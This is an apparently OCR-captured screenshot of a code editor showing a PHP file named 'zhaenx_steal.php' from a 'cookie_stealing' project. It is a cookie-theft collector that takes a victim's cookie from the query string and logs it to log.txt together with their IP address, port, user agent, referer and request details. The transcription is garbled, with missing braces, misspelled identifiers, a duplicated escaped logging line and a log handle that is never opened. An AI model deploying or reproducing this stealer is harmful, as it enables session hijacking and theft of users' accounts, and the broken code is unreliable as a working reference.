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<u>V</u>iew <u>G</u>o <u>R</u>un <u>T</u>erminal <u>H</u>elp
                                                                                                                       zhaenx_steal.php - cookie_stealing - Visual Studio Code

    zhaenx_steal.php > 
    logData

          function GetIP()
                     $ip = getenv("HTTP_CLIENT_IP");
                } elseif (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {
                    $ip = getenv("HTTP_X_FORWARDED_FOR");
               } elseif (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) {
                    $ip = getenv("REMOTE_ADDR");
               } elseif (isset($ SERVER['REMOTE ADDR']) && $ SERVER['REMOTE ADDR'] && strcasecmp($ SERVER['REMOTE ADDR'], "unknown")) {
                    $ip = $_SERVER['REMOTE_ADDR'];
               $ipLog = "log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
               if ($register_globals) {
    $ip = getenv('REMOTE_ADDR');
               $rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['REQUEST_METHOD'];
$rem_host = isset($_SERVER['REMOTE_HOST']) ? $_SERVER['REMOTE_HOST'] : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
               // Mengubah protokol menjadi HTTP
$url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
               if (preg_match("/bhtmb/i", $ipLog) || preg_match("/bhtmlb/i", $ipLog)) {
    fputs($log, "IP: $ip\nPORT: $rem_port\nHOST: $rem_host\nAgent: $user_agent\nMETHOD: $rqst_method\nREF: $referer\nDATE: $date\nCOOKIE: $cookie <br/>br>\n");
                    fputs(\$log, "IP: \$ip\nPORT: \$rem_port\nHOST: \$rem_host\nAgent: \$user\_agent\nMETHOD: \$rqst\_method\nREF: \$referer\nDATE: \$date\nCOOKIE: \$cookie\n\n");
          logData();
```

